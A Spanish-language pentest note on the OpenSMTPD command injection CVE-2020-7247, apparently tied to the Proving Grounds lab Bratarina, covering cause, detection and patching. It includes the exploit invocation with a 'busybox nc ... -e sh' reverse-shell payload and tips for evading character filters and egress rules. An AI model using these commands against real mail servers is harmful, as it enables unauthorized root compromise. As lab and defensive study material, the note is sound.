OpenSMTPD RCE (CVE-2020-7247)
CVE-2020-7247 es una ejecución remota de comandos en OpenSMTPD, el servidor de correo de OpenBSD (también portado a Linux). Afecta a las versiones desde la 6.6 hasta antes de la 6.6.2 (descubierta por Qualys en enero de 2020) y, según la configuración, es explotable sin autenticación desde la red.
La raíz del fallo está en smtp_mailaddr(), la rutina que valida la dirección del remitente (MAIL FROM). Una validación incorrecta deja pasar una parte local mal formada que después se interpola en la orden de entrega local y se ejecuta a través de /bin/sh -c. Es, en esencia, una inyección de comandos: lo que metamos en la dirección se ejecuta como comando del sistema.
searchsploit -m linux/remote/47984.py
python3 47984.py <ip> 25 'busybox nc <lhost> <port> -e sh'Por qué da root directamente. El proceso que realiza la entrega local corre como root, así que el comando inyectado hereda UID 0. No hay escalada posterior: la primera shell ya es de root.
Detalles prácticos de explotación:
- El payload debe sobrevivir al protocolo. La dirección SMTP no admite ciertos caracteres; una reverse shell de bash con
>&la rechaza el servidor (503 ... Unsupported option &). Conviene un payload sin esos metacaracteres:busybox nc ... -e sho un one-liner de Python con las comillas escapadas. - El retorno necesita un puerto permitido. Si la máquina filtra el egreso, la reverse shell debe salir por un puerto que ya tenga abierto (80, 443) en lugar de uno arbitrario.
Cómo detectarlo. La firma vive en el log de OpenSMTPD: un MAIL FROM: cuya parte local está mal formada y contiene metacaracteres de shell o una tubería (;, |, busybox, nc), algo que ningún remitente legítimo produce. El servidor puede además registrar rechazos 503 ... Unsupported option cuando el atacante tantea caracteres no admitidos. En el host, el patrón definitivo es de linaje de procesos: el proceso de entrega local de smtpd (como root) lanzando sh -c/nc como hijo, seguido de una conexión saliente justo tras una transacción de correo. Esa secuencia correo -> shell es la cadena.
Defensa. Actualizar OpenSMTPD a 6.6.2 o posterior. Como mitigación general, ejecutar el MTA con el mínimo privilegio posible y delegar la entrega local en un usuario sin permisos, de modo que un fallo así no se traduzca en ejecución como root. Relacionado con la inyección de comandos y con la enumeración de usuarios por SMTP.
Máquinas donde se aplica
- BratarinaProving Grounds Practice